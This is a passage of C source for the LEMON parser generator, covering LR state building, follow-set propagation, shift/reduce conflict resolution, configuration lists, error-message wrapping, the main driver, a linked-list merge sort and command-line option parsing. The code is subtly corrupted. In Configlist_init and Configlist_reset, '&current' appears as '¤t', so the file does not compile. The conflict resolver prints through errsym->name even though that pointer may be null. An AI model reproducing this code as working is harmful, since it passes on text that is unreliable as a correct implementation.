int i;
for(i=0; i<rp->nrhs; i++){
if( rp->rhs[i]==sp ){
ErrorMsg(lemp->filename,0,
"The start symbol \"%s\" occurs on the \
right-hand side of a rule. This will result in a parser which \
does not work properly.",sp->name);
lemp->errorcnt++;
}
}
}
/* The basis configuration set for the first state
** is all rules which have the start symbol as their
** left-hand side */
for(rp=sp->rule; rp; rp=rp->nextlhs){
struct config *newcfp;
newcfp = Configlist_addbasis(rp,0);
SetAdd(newcfp->fws,0);
}
/* Compute the first state. All other states will be
** computed automatically during the computation of the first one.
** The returned pointer to the first state is not used. */
(void)getstate(lemp);
return;
}
/* Return a pointer to a state which is described by the configuration
** list which has been built from calls to Configlist_add.
*/
PRIVATE void buildshifts(/* struct lemon *, struct state * */); /* Forwd ref */
PRIVATE struct state *getstate(lemp)
struct lemon *lemp;
{
struct config *cfp, *bp;
struct state *stp;
/* Extract the sorted basis of the new state. The basis was constructed
** by prior calls to "Configlist_addbasis()". */
Configlist_sortbasis();
bp = Configlist_basis();
/* Get a state with the same basis */
stp = State_find(bp);
if( stp ){
/* A state with the same basis already exists! Copy all the follow-set
** propagation links from the state under construction into the
** preexisting state, then return a pointer to the preexisting state */
struct config *x, *y;
for(x=bp, y=stp->bp; x && y; x=x->bp, y=y->bp){
Plink_copy(&y->bplp,x->bplp);
Plink_delete(x->fplp);
x->fplp = x->bplp = 0;
}
cfp = Configlist_return();
Configlist_eat(cfp);
}else{
/* This really is a new state. Construct all the details */
Configlist_closure(lemp); /* Compute the configuration closure */
Configlist_sort(); /* Sort the configuration closure */
cfp = Configlist_return(); /* Get a pointer to the config list */
stp = State_new(); /* A new state structure */
MemoryCheck(stp);
stp->bp = bp; /* Remember the configuration basis */
stp->cfp = cfp; /* Remember the configuration closure */
stp->index = lemp->nstate++; /* Every state gets a sequence number */
stp->ap = 0; /* No actions, yet. */
State_insert(stp,stp->bp); /* Add to the state table */
buildshifts(lemp,stp); /* Recursively compute successor states */
}
return stp;
}
/* Construct all successor states to the given state. A "successor"
** state is any state which can be reached by a shift action.
*/
PRIVATE void buildshifts(lemp,stp)
struct lemon *lemp;
struct state *stp; /* The state from which successors are computed */
{
struct config *cfp; /* For looping thru the config closure of "stp" */
struct config *bcfp; /* For the inner loop on config closure of "stp" */
struct config *new; /* */
struct symbol *sp; /* Symbol following the dot in configuration "cfp" */
struct symbol *bsp; /* Symbol following the dot in configuration "bcfp" */
struct state *newstp; /* A pointer to a successor state */
/* Each configuration becomes complete after it contibutes to a successor
** state. Initially, all configurations are incomplete */
for(cfp=stp->cfp; cfp; cfp=cfp->next) cfp->status = INCOMPLETE;
/* Loop through all configurations of the state "stp" */
for(cfp=stp->cfp; cfp; cfp=cfp->next){
if( cfp->status==COMPLETE ) continue; /* Already used by inner loop */
if( cfp->dot>=cfp->rp->nrhs ) continue; /* Can't shift this config */
Configlist_reset(); /* Reset the new config set */
sp = cfp->rp->rhs[cfp->dot]; /* Symbol after the dot */
/* For every configuration in the state "stp" which has the symbol "sp"
** following its dot, add the same configuration to the basis set under
** construction but with the dot shifted one symbol to the right. */
for(bcfp=cfp; bcfp; bcfp=bcfp->next){
if( bcfp->status==COMPLETE ) continue; /* Already used */
if( bcfp->dot>=bcfp->rp->nrhs ) continue; /* Can't shift this one */
bsp = bcfp->rp->rhs[bcfp->dot]; /* Get symbol after dot */
if( bsp!=sp ) continue; /* Must be same as for "cfp" */
bcfp->status = COMPLETE; /* Mark this config as used */
new = Configlist_addbasis(bcfp->rp,bcfp->dot+1);
Plink_add(&new->bplp,bcfp);
}
/* Get a pointer to the state described by the basis configuration set
** constructed in the preceding loop */
newstp = getstate(lemp);
/* The state "newstp" is reached from the state "stp" by a shift action
** on the symbol "sp" */
Action_add(&stp->ap,SHIFT,sp,(char *)newstp);
}
}
/*
** Construct the propagation links
*/
void FindLinks(lemp)
struct lemon *lemp;
{
int i;
struct config *cfp, *other;
struct state *stp;
struct plink *plp;
/* Housekeeping detail:
** Add to every propagate link a pointer back to the state to
** which the link is attached. */
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
for(cfp=stp->cfp; cfp; cfp=cfp->next){
cfp->stp = stp;
}
}
/* Convert all backlinks into forward links. Only the forward
** links are used in the follow-set computation. */
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
for(cfp=stp->cfp; cfp; cfp=cfp->next){
for(plp=cfp->bplp; plp; plp=plp->next){
other = plp->cfp;
Plink_add(&other->fplp,cfp);
}
}
}
}
/* Compute all followsets.
**
** A followset is the set of all symbols which can come immediately
** after a configuration.
*/
void FindFollowSets(lemp)
struct lemon *lemp;
{
int i;
struct config *cfp;
struct plink *plp;
int progress;
int change;
for(i=0; i<lemp->nstate; i++){
for(cfp=lemp->sorted[i]->cfp; cfp; cfp=cfp->next){
cfp->status = INCOMPLETE;
}
}
do{
progress = 0;
for(i=0; i<lemp->nstate; i++){
for(cfp=lemp->sorted[i]->cfp; cfp; cfp=cfp->next){
if( cfp->status==COMPLETE ) continue;
for(plp=cfp->fplp; plp; plp=plp->next){
change = SetUnion(plp->cfp->fws,cfp->fws);
if( change ){
plp->cfp->status = INCOMPLETE;
progress = 1;
}
}
cfp->status = COMPLETE;
}
}
}while( progress );
}
static int resolve_conflict();
/* Compute the reduce actions, and resolve conflicts.
*/
void FindActions(lemp)
struct lemon *lemp;
{
int i,j;
struct config *cfp;
struct state *stp;
struct symbol *sp;
struct rule *rp;
/* Add all of the reduce actions
** A reduce action is added for each element of the followset of
** a configuration which has its dot at the extreme right.
*/
for(i=0; i<lemp->nstate; i++){ /* Loop over all states */
stp = lemp->sorted[i];
for(cfp=stp->cfp; cfp; cfp=cfp->next){ /* Loop over all configurations */
if( cfp->rp->nrhs==cfp->dot ){ /* Is dot at extreme right? */
for(j=0; j<lemp->nterminal; j++){
if( SetFind(cfp->fws,j) ){
/* Add a reduce action to the state "stp" which will reduce by the
** rule "cfp->rp" if the lookahead symbol is "lemp->symbols[j]" */
Action_add(&stp->ap,REDUCE,lemp->symbols[j],(char *)cfp->rp);
}
}
}
}
}
/* Add the accepting token */
if( lemp->start ){
sp = Symbol_find(lemp->start);
if( sp==0 ) sp = lemp->rule->lhs;
}else{
sp = lemp->rule->lhs;
}
/* Add to the first state (which is always the starting state of the
** finite state machine) an action to ACCEPT if the lookahead is the
** start nonterminal. */
Action_add(&lemp->sorted[0]->ap,ACCEPT,sp,0);
/* Resolve conflicts */
for(i=0; i<lemp->nstate; i++){
struct action *ap, *nap;
struct state *stp;
stp = lemp->sorted[i];
assert( stp->ap );
stp->ap = Action_sort(stp->ap);
for(ap=stp->ap; ap && ap->next; ap=ap->next){
for(nap=ap->next; nap && nap->sp==ap->sp; nap=nap->next){
/* The two actions "ap" and "nap" have the same lookahead.
** Figure out which one should be used */
lemp->nconflict += resolve_conflict(ap,nap,lemp->errsym);
}
}
}
/* Report an error for each rule that can never be reduced. */
for(rp=lemp->rule; rp; rp=rp->next) rp->canReduce = B_FALSE;
for(i=0; i<lemp->nstate; i++){
struct action *ap;
for(ap=lemp->sorted[i]->ap; ap; ap=ap->next){
if( ap->type==REDUCE ) ap->x.rp->canReduce = B_TRUE;
}
}
for(rp=lemp->rule; rp; rp=rp->next){
if( rp->canReduce ) continue;
ErrorMsg(lemp->filename,rp->ruleline,"This rule can not be reduced.\n");
lemp->errorcnt++;
}
}
/* Resolve a conflict between the two given actions. If the
** conflict can't be resolve, return non-zero.
**
** NO LONGER TRUE:
** To resolve a conflict, first look to see if either action
** is on an error rule. In that case, take the action which
** is not associated with the error rule. If neither or both
** actions are associated with an error rule, then try to
** use precedence to resolve the conflict.
**
** If either action is a SHIFT, then it must be apx. This
** function won't work if apx->type==REDUCE and apy->type==SHIFT.
*/
static int resolve_conflict(apx,apy,errsym)
struct action *apx;
struct action *apy;
struct symbol *errsym; /* The error symbol (if defined. NULL otherwise) */
{
struct symbol *spx, *spy;
int errcnt = 0;
assert( apx->sp==apy->sp ); /* Otherwise there would be no conflict */
if( apx->type==SHIFT && apy->type==REDUCE ){
spx = apx->sp;
spy = apy->x.rp->precsym;
if( spy==0 || spx->prec<0 || spy->prec<0 ){
/* Not enough precedence information. */
fprintf(stderr, "Not enough precedence: %s\n", errsym->name);
apy->type = CONFLICT;
errcnt++;
}else if( spx->prec>spy->prec ){ /* Lower precedence wins */
apy->type = RD_RESOLVED;
}else if( spx->prec<spy->prec ){
apx->type = SH_RESOLVED;
}else if( spx->prec==spy->prec && spx->assoc==RIGHT ){ /* Use operator */
apy->type = RD_RESOLVED; /* associativity */
}else if( spx->prec==spy->prec && spx->assoc==LEFT ){ /* to break tie */
apx->type = SH_RESOLVED;
}else{
assert( spx->prec==spy->prec && spx->assoc==NONE );
fprintf(stderr, "Not enough precedence: %s\n", errsym->name);
apy->type = CONFLICT;
errcnt++;
}
}else if( apx->type==REDUCE && apy->type==REDUCE ){
spx = apx->x.rp->precsym;
spy = apy->x.rp->precsym;
if( spx==0 || spy==0 || spx->prec<0 || spy->prec<0 || spx->prec==spy->prec ){
fprintf(stderr, "Not enough precedence: %s\n", errsym->name);
apy->type = CONFLICT;
errcnt++;
}else if( spx->prec>spy->prec ){
apy->type = RD_RESOLVED;
}else if( spx->prec<spy->prec ){
apx->type = RD_RESOLVED;
}
}else{
assert(
apx->type==SH_RESOLVED ||
apx->type==RD_RESOLVED ||
apx->type==CONFLICT ||
apy->type==SH_RESOLVED ||
apy->type==RD_RESOLVED ||
apy->type==CONFLICT
);
/* The REDUCE/SHIFT case cannot happen because SHIFTs come before
** REDUCEs on the list. If we reach this point it must be because
** the parser conflict had already been resolved. */
}
return errcnt;
}
/********************* From the file "configlist.c" *************************/
/*
** Routines to processing a configuration list and building a state
** in the LEMON parser generator.
*/
static struct config *freelist = 0; /* List of free configurations */
static struct config *current = 0; /* Top of list of configurations */
static struct config **currentend = 0; /* Last on list of configs */
static struct config *basis = 0; /* Top of list of basis configs */
static struct config **basisend = 0; /* End of list of basis configs */
/* Return a pointer to a new configuration */
PRIVATE struct config *newconfig(){
struct config *new;
if( freelist==0 ){
int i;
int amt = 3;
freelist = (struct config *)malloc( sizeof(struct config)*amt );
if( freelist==0 ){
fprintf(stderr,"Unable to allocate memory for a new configuration.");
exit(1);
}
for(i=0; i<amt-1; i++) freelist[i].next = &freelist[i+1];
freelist[amt-1].next = 0;
}
new = freelist;
freelist = freelist->next;
return new;
}
/* The configuration "old" is no longer used */
PRIVATE void deleteconfig(old)
struct config *old;
{
old->next = freelist;
freelist = old;
}
/* Initialized the configuration list builder */
void Configlist_init(){
current = 0;
currentend = ¤t;
basis = 0;
basisend = &basis;
Configtable_init();
return;
}
/* Initialized the configuration list builder */
void Configlist_reset(){
current = 0;
currentend = ¤t;
basis = 0;
basisend = &basis;
Configtable_clear(0);
return;
}
/* Add another configuration to the configuration list */
struct config *Configlist_add(rp,dot)
struct rule *rp; /* The rule */
int dot; /* Index into the RHS of the rule where the dot goes */
{
struct config *cfp, model;
assert( currentend!=0 );
model.rp = rp;
model.dot = dot;
cfp = Configtable_find(&model);
if( cfp==0 ){
cfp = newconfig();
cfp->rp = rp;
cfp->dot = dot;
cfp->fws = SetNew();
cfp->stp = 0;
cfp->fplp = cfp->bplp = 0;
cfp->next = 0;
cfp->bp = 0;
*currentend = cfp;
currentend = &cfp->next;
Configtable_insert(cfp);
}
return cfp;
}
/* Add a basis configuration to the configuration list */
struct config *Configlist_addbasis(rp,dot)
struct rule *rp;
int dot;
{
struct config *cfp, model;
assert( basisend!=0 );
assert( currentend!=0 );
model.rp = rp;
model.dot = dot;
cfp = Configtable_find(&model);
if( cfp==0 ){
cfp = newconfig();
cfp->rp = rp;
cfp->dot = dot;
cfp->fws = SetNew();
cfp->stp = 0;
cfp->fplp = cfp->bplp = 0;
cfp->next = 0;
cfp->bp = 0;
*currentend = cfp;
currentend = &cfp->next;
*basisend = cfp;
basisend = &cfp->bp;
Configtable_insert(cfp);
}
return cfp;
}
/* Compute the closure of the configuration list */
void Configlist_closure(lemp)
struct lemon *lemp;
{
struct config *cfp, *newcfp;
struct rule *rp, *newrp;
struct symbol *sp, *xsp;
int i, dot;
assert( currentend!=0 );
for(cfp=current; cfp; cfp=cfp->next){
rp = cfp->rp;
dot = cfp->dot;
if( dot>=rp->nrhs ) continue;
sp = rp->rhs[dot];
if( sp->type==NONTERMINAL ){
if( sp->rule==0 && sp!=lemp->errsym ){
ErrorMsg(lemp->filename,rp->line,"Nonterminal \"%s\" has no rules.",
sp->name);
lemp->errorcnt++;
}
for(newrp=sp->rule; newrp; newrp=newrp->nextlhs){
newcfp = Configlist_add(newrp,0);
for(i=dot+1; i<rp->nrhs; i++){
xsp = rp->rhs[i];
if( xsp->type==TERMINAL ){
SetAdd(newcfp->fws,xsp->index);
break;
}else{
SetUnion(newcfp->fws,xsp->firstset);
if( xsp->lambda==B_FALSE ) break;
}
}
if( i==rp->nrhs ) Plink_add(&cfp->fplp,newcfp);
}
}
}
return;
}
/* Sort the configuration list */
void Configlist_sort(){
current = (struct config *)msort((char *)current,(char **)&(current->next),Configcmp);
currentend = 0;
return;
}
/* Sort the basis configuration list */
void Configlist_sortbasis(){
basis = (struct config *)msort((char *)current,(char **)&(current->bp),Configcmp);
basisend = 0;
return;
}
/* Return a pointer to the head of the configuration list and
** reset the list */
struct config *Configlist_return(){
struct config *old;
old = current;
current = 0;
currentend = 0;
return old;
}
/* Return a pointer to the head of the configuration list and
** reset the list */
struct config *Configlist_basis(){
struct config *old;
old = basis;
basis = 0;
basisend = 0;
return old;
}
/* Free all elements of the given configuration list */
void Configlist_eat(cfp)
struct config *cfp;
{
struct config *nextcfp;
for(; cfp; cfp=nextcfp){
nextcfp = cfp->next;
assert( cfp->fplp==0 );
assert( cfp->bplp==0 );
if( cfp->fws ) SetFree(cfp->fws);
deleteconfig(cfp);
}
return;
}
/***************** From the file "error.c" *********************************/
/*
** Code for printing error message.
*/
/* Find a good place to break "msg" so that its length is at least "min"
** but no more than "max". Make the point as close to max as possible.
*/
static int findbreak(msg,min,max)
char *msg;
int min;
int max;
{
int i,spot;
char c;
for(i=spot=min; i<=max; i++){
c = msg[i];
if( c=='\t' ) msg[i] = ' ';
if( c=='\n' ){ msg[i] = ' '; spot = i; break; }
if( c==0 ){ spot = i; break; }
if( c=='-' && i<max-1 ) spot = i+1;
if( c==' ' ) spot = i;
}
return spot;
}
/*
** The error message is split across multiple lines if necessary. The
** splits occur at a space, if there is a space available near the end
** of the line.
*/
#define ERRMSGSIZE 10000 /* Hope this is big enough. No way to error check */
#define LINEWIDTH 79 /* Max width of any output line */
#define PREFIXLIMIT 30 /* Max width of the prefix on each line */
void ErrorMsg(const char *filename, int lineno, const char *format, ...){
char errmsg[ERRMSGSIZE];
char prefix[PREFIXLIMIT+10];
int errmsgsize;
int prefixsize;
int availablewidth;
va_list ap;
int end, restart, base;
va_start(ap, format);
/* Prepare a prefix to be prepended to every output line */
if( lineno>0 ){
sprintf(prefix,"%.*s:%d: ",PREFIXLIMIT-10,filename,lineno);
}else{
sprintf(prefix,"%.*s: ",PREFIXLIMIT-10,filename);
}
prefixsize = strlen(prefix);
availablewidth = LINEWIDTH - prefixsize;
/* Generate the error message */
vsprintf(errmsg,format,ap);
va_end(ap);
errmsgsize = strlen(errmsg);
/* Remove trailing '\n's from the error message. */
while( errmsgsize>0 && errmsg[errmsgsize-1]=='\n' ){
errmsg[--errmsgsize] = 0;
}
/* Print the error message */
base = 0;
while( errmsg[base]!=0 ){
end = restart = findbreak(&errmsg[base],0,availablewidth);
restart += base;
while( errmsg[restart]==' ' ) restart++;
fprintf(stdout,"%s%.*s\n",prefix,end,&errmsg[base]);
base = restart;
}
}
/**************** From the file "main.c" ************************************/
/*
** Main program file for the LEMON parser generator.
*/
/* Report an out-of-memory condition and abort. This function
** is used mostly by the "MemoryCheck" macro in struct.h
*/
void memory_error(){
fprintf(stderr,"Out of memory. Aborting...\n");
exit(1);
}
static int nDefine = 0; /* Number of -D options on the command line */
static char **azDefine = 0; /* Name of the -D macros */
/* This routine is called with the argument to each -D command-line option.
** Add the macro defined to the azDefine array.
*/
static void handle_D_option(char *z){
char **paz;
nDefine++;
azDefine = realloc(azDefine, sizeof(azDefine[0])*nDefine);
if( azDefine==0 ){
fprintf(stderr,"out of memory\n");
exit(1);
}
paz = &azDefine[nDefine-1];
*paz = malloc( strlen(z)+1 );
if( *paz==0 ){
fprintf(stderr,"out of memory\n");
exit(1);
}
strcpy(*paz, z);
for(z=*paz; *z && *z!='='; z++){}
*z = 0;
}
/* The main program. Parse the command line and do it... */
int main(argc,argv)
int argc;
char **argv;
{
static int version = 0;
static int rpflag = 0;
static int basisflag = 0;
static int compress = 0;
static int quiet = 0;
static int statistics = 0;
static int mhflag = 0;
static struct s_options options[] = {
{OPT_FLAG, "b", (char*)&basisflag, "Print only the basis in report."},
{OPT_FLAG, "c", (char*)&compress, "Don't compress the action table."},
{OPT_FSTR, "D", (char*)handle_D_option, "Define an %ifdef macro."},
{OPT_FLAG, "g", (char*)&rpflag, "Print grammar without actions."},
{OPT_FLAG, "m", (char*)&mhflag, "Output a makeheaders compatible file"},
{OPT_FLAG, "q", (char*)&quiet, "(Quiet) Don't print the report file."},
{OPT_FLAG, "s", (char*)&statistics,
"Print parser stats to standard output."},
{OPT_FLAG, "x", (char*)&version, "Print the version number."},
{OPT_FLAG,0,0,0}
};
int i;
struct lemon lem;
OptInit(argv,options,stderr);
if( version ){
printf("Lemon version 1.0\n");
exit(0);
}
if( OptNArgs()!=1 ){
fprintf(stderr,"Exactly one filename argument is required.\n");
exit(1);
}
lem.errorcnt = 0;
/* Initialize the machine */
Strsafe_init();
Symbol_init();
State_init();
lem.argv0 = argv[0];
lem.filename = OptArg(0);
lem.basisflag = basisflag;
lem.has_fallback = 0;
lem.nconflict = 0;
lem.name = lem.include = lem.arg = lem.tokentype = lem.start = 0;
lem.vartype = 0;
lem.stacksize = 0;
lem.error = lem.overflow = lem.failure = lem.accept = lem.tokendest =
lem.tokenprefix = lem.outname = lem.extracode = 0;
lem.vardest = 0;
lem.tablesize = 0;
Symbol_new("$");
lem.errsym = Symbol_new("error");
/* Parse the input file */
Parse(&lem);
if( lem.errorcnt ) exit(lem.errorcnt);
if( lem.rule==0 ){
fprintf(stderr,"Empty grammar.\n");
exit(1);
}
/* Count and index the symbols of the grammar */
lem.nsymbol = Symbol_count();
Symbol_new("{default}");
lem.symbols = Symbol_arrayof();
for(i=0; i<=lem.nsymbol; i++) lem.symbols[i]->index = i;
qsort(lem.symbols,lem.nsymbol+1,sizeof(struct symbol*),
(int(*)())Symbolcmpp);
for(i=0; i<=lem.nsymbol; i++) lem.symbols[i]->index = i;
for(i=1; isupper(lem.symbols[i]->name[0]); i++);
lem.nterminal = i;
/* Generate a reprint of the grammar, if requested on the command line */
if( rpflag ){
Reprint(&lem);
}else{
/* Initialize the size for all follow and first sets */
SetSize(lem.nterminal);
/* Find the precedence for every production rule (that has one) */
FindRulePrecedences(&lem);
/* Compute the lambda-nonterminals and the first-sets for every
** nonterminal */
FindFirstSets(&lem);
/* Compute all LR(0) states. Also record follow-set propagation
** links so that the follow-set can be computed later */
lem.nstate = 0;
FindStates(&lem);
lem.sorted = State_arrayof();
/* Tie up loose ends on the propagation links */
FindLinks(&lem);
/* Compute the follow set of every reducible configuration */
FindFollowSets(&lem);
/* Compute the action tables */
FindActions(&lem);
/* Compress the action tables */
if( compress==0 ) CompressTables(&lem);
/* Generate a report of the parser generated. (the "y.output" file) */
if( !quiet ) ReportOutput(&lem);
/* Generate the source code for the parser */
ReportTable(&lem, mhflag);
/* Produce a header file for use by the scanner. (This step is
** omitted if the "-m" option is used because makeheaders will
** generate the file for us.) */
if( !mhflag ) ReportHeader(&lem);
}
if( statistics ){
printf("Parser statistics: %d terminals, %d nonterminals, %d rules\n",
lem.nterminal, lem.nsymbol - lem.nterminal, lem.nrule);
printf(" %d states, %d parser table entries, %d conflicts\n",
lem.nstate, lem.tablesize, lem.nconflict);
}
if( lem.nconflict ){
fprintf(stderr,"%d parsing conflicts.\n",lem.nconflict);
}
exit(lem.errorcnt + lem.nconflict);
return (lem.errorcnt + lem.nconflict);
}
/******************** From the file "msort.c" *******************************/
/*
** A generic merge-sort program.
**
** USAGE:
** Let "ptr" be a pointer to some structure which is at the head of
** a null-terminated list. Then to sort the list call:
**
** ptr = msort(ptr,&(ptr->next),cmpfnc);
**
** In the above, "cmpfnc" is a pointer to a function which compares
** two instances of the structure and returns an integer, as in
** strcmp. The second argument is a pointer to the pointer to the
** second element of the linked list. This address is used to compute
** the offset to the "next" field within the structure. The offset to
** the "next" field must be constant for all structures in the list.
**
** The function returns a new pointer which is the head of the list
** after sorting.
**
** ALGORITHM:
** Merge-sort.
*/
/*
** Return a pointer to the next structure in the linked list.
*/
#define NEXT(A) (*(char**)(((unsigned long)A)+offset))
/*
** Inputs:
** a: A sorted, null-terminated linked list. (May be null).
** b: A sorted, null-terminated linked list. (May be null).
** cmp: A pointer to the comparison function.
** offset: Offset in the structure to the "next" field.
**
** Return Value:
** A pointer to the head of a sorted list containing the elements
** of both a and b.
**
** Side effects:
** The "next" pointers for elements in the lists a and b are
** changed.
*/
static char *merge(a,b,cmp,offset)
char *a;
char *b;
int (*cmp)();
int offset;
{
char *ptr, *head;
if( a==0 ){
head = b;
}else if( b==0 ){
head = a;
}else{
if( (*cmp)(a,b)<0 ){
ptr = a;
a = NEXT(a);
}else{
ptr = b;
b = NEXT(b);
}
head = ptr;
while( a && b ){
if( (*cmp)(a,b)<0 ){
NEXT(ptr) = a;
ptr = a;
a = NEXT(a);
}else{
NEXT(ptr) = b;
ptr = b;
b = NEXT(b);
}
}
if( a ) NEXT(ptr) = a;
else NEXT(ptr) = b;
}
return head;
}
/*
** Inputs:
** list: Pointer to a singly-linked list of structures.
** next: Pointer to pointer to the second element of the list.
** cmp: A comparison function.
**
** Return Value:
** A pointer to the head of a sorted list containing the elements
** orginally in list.
**
** Side effects:
** The "next" pointers for elements in list are changed.
*/
#define LISTSIZE 30
char *msort(list,next,cmp)
char *list;
char **next;
int (*cmp)();
{
unsigned long offset;
char *ep;
char *set[LISTSIZE];
int i;
offset = (unsigned long)next - (unsigned long)list;
for(i=0; i<LISTSIZE; i++) set[i] = 0;
while( list ){
ep = list;
list = NEXT(list);
NEXT(ep) = 0;
for(i=0; i<LISTSIZE-1 && set[i]!=0; i++){
ep = merge(ep,set[i],cmp,offset);
set[i] = 0;
}
set[i] = ep;
}
ep = 0;
for(i=0; i<LISTSIZE; i++) if( set[i] ) ep = merge(ep,set[i],cmp,offset);
return ep;
}
/************************ From the file "option.c" **************************/
static char **argv;
static struct s_options *op;
static FILE *errstream;
#define ISOPT(X) ((X)[0]=='-'||(X)[0]=='+'||strchr((X),'=')!=0)
/*
** Print the command line with a carrot pointing to the k-th character
** of the n-th field.
*/
static void errline(n,k,err)
int n;
int k;
FILE *err;
{
int spcnt, i;
spcnt = 0;
if( argv[0] ) fprintf(err,"%s",argv[0]);
spcnt = strlen(argv[0]) + 1;
for(i=1; i<n && argv[i]; i++){
fprintf(err," %s",argv[i]);
spcnt += strlen(argv[i]+1);
}
spcnt += k;
for(; argv[i]; i++) fprintf(err," %s",argv[i]);
if( spcnt<20 ){
fprintf(err,"\n%*s^-- here\n",spcnt,"");
}else{
fprintf(err,"\n%*shere --^\n",spcnt-7,"");
}
}
/*
** Return the index of the N-th non-switch argument. Return -1
** if N is out of range.
*/
static int argindex(n)
int n;
{
int i;
int dashdash = 0;
if( argv!=0 && *argv!=0 ){
for(i=1; argv[i]; i++){
if( dashdash || !ISOPT(argv[i]) ){
if( n==0 ) return i;
n--;
}
if( strcmp(argv[i],"--")==0 ) dashdash = 1;
}
}
return -1;
}
static char emsg[] = "Command line syntax error: ";
/*
** Process a flag command line argument.
*/
static int handleflags(i,err)
int i;
FILE *err;
{
int v;
int errcnt = 0;
int j;
for(j=0; op[j].label; j++){
if( strncmp(&argv[i][1],op[j].label,strlen(op[j].label))==0 ) break;
}
v = argv[i][0]=='-' ? 1 : 0;
if( op[j].label==0 ){
if( err ){
fprintf(err,"%sundefined option.\n",emsg);
errline(i,1,err);
}
errcnt++;
}else if( op[j].type==OPT_FLAG ){
*((int*)op[j].arg) = v;
}else if( op[j].type==OPT_FFLAG ){
(*(void(*)())(op[j].arg))(v);
}else if( op[j].type==OPT_FSTR ){
(*(void(*)())(op[j].arg))(&argv[i][2]);
}else{
if( err ){
fprintf(err,"%smissing argument on switch.\n",emsg);
errline(i,1,err);
}
errcnt++;
}
return errcnt;
}
/*
** Process a command line switch which has an argument.
*/
static int handleswitch(i,err)
int i;
FILE *err;
{
int lv = 0;
double dv = 0.0;
char *sv = 0, *end;
char *cp;
int j;
int errcnt = 0;
cp = strchr(argv[i],'=');
*cp = 0;
for(j=0; op[j].label; j++){
if( strcmp(argv[i],op[j].label)==0 ) break;
}
*cp = '=';
if( op[j].label==0 ){
if( err ){
fprintf(err,"%sundefined option.\n",emsg);
errline(i,0,err);
}
errcnt++;
}else{
cp++;
switch( op[j].type ){
case OPT_FLAG:
case OPT_FFLAG:
if( err ){
fprintf(err,"%soption requires an argument.\n",emsg);
errline(i,0,err);
}
errcnt++;
break;
case OPT_DBL:
case OPT_FDBL:
dv = strtod(cp,&end);
if( *end ){
if( err ){
fprintf(err,"%sillegal character in floating-point argument.\n",emsg);
errline(i,((unsigned long)end)-(unsigned long)argv[i],err);
}
errcnt++;
}
break;
case OPT_INT:
case OPT_FINT:
lv = strtol(cp,&end,0);
if( *end ){
if( err ){
fprintf(err,"%sillegal character in integer argument.\n",emsg);
errline(i,((unsigned long)end)-(unsigned long)argv[i],err);
}
errcnt++;
}
break;
case OPT_STR:
case OPT_FSTR:
sv = cp;
break;
}
switch( op[j].type ){
case OPT_FLAG:
case OPT_FFLAG:
break;
case OPT_DBL:
*(double*)(op[j].arg) = dv;
break;
case OPT_FDBL:
(*(void(*)())(op[j].arg))(dv);
break;
case OPT_INT:
*(int*)(op[j].arg) = lv;
break;
case OPT_FINT:
(*(void(*)())(op[j].arg))((int)lv);
break;
case OPT_STR:
*(char**)(op[j].arg) = sv;
break;
case OPT_FSTR:
(*(void(*)())(op[j].arg))(sv);
break;
}
}
return errcnt;
}
int OptInit(a,o,err)
char **a;
struct s_options *o;
FILE *err;
{
int errcnt = 0;
argv = a;
op = o;
errstream = err;
if( argv && *argv && op ){
int i;
for(i=1; argv[i]; i++){
if( argv[i][0]=='+' || argv[i][0]=='-' ){
errcnt += handleflags(i,err);
}else if( strchr(argv[i],'=') ){
errcnt += handleswitch(i,err);
}
}
}
if( errcnt>0 ){
fprintf(err,"Valid command line options for \"%s\" are:\n",*a);
OptPrint();
exit(1);
}
return 0;
}
int OptNArgs(){
int cnt = 0;
int dashdash = 0;
int i;
if( argv!=0 && argv[0]!=0 ){
for(i=1; argv[i]; i++){
if( dashdash || !ISOPT(argv[i]) ) cnt++;
if( strcmp(argv[i],"--")==0 ) dashdash = 1;
}
}
return cnt;
}
char *OptArg(n)
int n;
{
int i;
i = argindex(n);
return i>=0 ? argv[i] : 0;
}
void OptErr(n)
int n;
{
int i;
i = argindex(n);
if( i>=0 ) errline(i,0,errstream);
}
void OptPrint(){
int i;
int max, len;
max = 0;
for(i=0; op[i].label; i++){
len = strlen(op[i].label) + 1;
switch( op[i].type ){
case OPT_FLAG:
case OPT_FFLAG:
break;
case OPT_INT:
case OPT_FINT:
len += 9; /* length of "<integer>" */
break;
case OPT_DBL:
case OPT_FDBL:
len += 6; /* length of "<real>" */
break;
case OPT_STR:
case OPT_FSTR:
len += 8; /* length of "<string>" */
break;
}
if( len>max ) max = len;
}
for(i=0; op[i].label; i++){
switch( op[i].type ){
case OPT_FLAG:
case OPT_FFLAG:
fprintf(errstream," -%-*s %s\n",max,op[i].label,op[i].message);
break;
case OPT_INT:
case OPT_FINT:
fprintf(errstream," %s=<integer>%*s %s\n",op[i].label,
(int)(max-strlen(op[i].label)-9),"",op[i].message);
break;
case OPT_DBL:
case OPT_FDBL:
fprintf(errstream," %s=<real>%*s %s\n",op[i].label,
(int)(max-strlen(op[i].label)-6),"",op[i].message);
break;
case OPT_STR:
case OPT_FSTR:
fprintf(errstream," %s=<string>%*s %s\n",op[i].label,
(int)(max-strlen(op[i].label)-8),"",op[i].message);
break;
}
}
}
/*********************** From the file "parse.c" ****************************/
/*
** Input file parser for the LEMON parser generator.
*/
/* The state of the parser */
struct pstate {
char *filename; /* Name of the input file */
int tokenlineno; /* Linenumber at which current token starts */
int errorcnt; /* Number of errors so far */
char *tokenstart; /* Text of current token */
struct lemon *gp; /* Global state vector */
enum e_state {
INITIALIZE,
WAITING_FOR_DECL_OR_RULE,
WAITING_FOR_DECL_KEYWORD,
WAITING_FOR_DECL_ARG,
WAITING_FOR_PRECEDENCE_SYMBOL,
WAITING_FOR_ARROW,
IN_RHS,
LHS_ALIAS_1,
LHS_ALIAS_2,
LHS_ALIAS_3,
RHS_ALIAS_1,
RHS_ALIAS_2,
PRECEDENCE_MARK_1,
PRECEDENCE_MARK_2,
RESYNC_AFTER_RULE_ERROR,
RESYNC_AFTER_DECL_ERROR,
WAITING_FOR_DESTRUCTOR_SYMBOL,
WAITING_FOR_DATATYPE_SYMBOL,
WAITING_FOR_FALLBACK_ID
} state; /* The state of the parser */
struct symbol *fallback; /* The fallback token */
struct symbol *lhs; /* Left-hand side of current rule */
char *lhsalias; /* Alias for the LHS */
int nrhs; /* Number of right-hand side symbols seen */
struct symbol *rhs[MAXRHS]; /* RHS symbols */
char *alias[MAXRHS]; /* Aliases for each RHS symbol (or NULL) */
struct rule *prevrule; /* Previous rule parsed */
char *declkeyword; /* Keyword of a declaration */
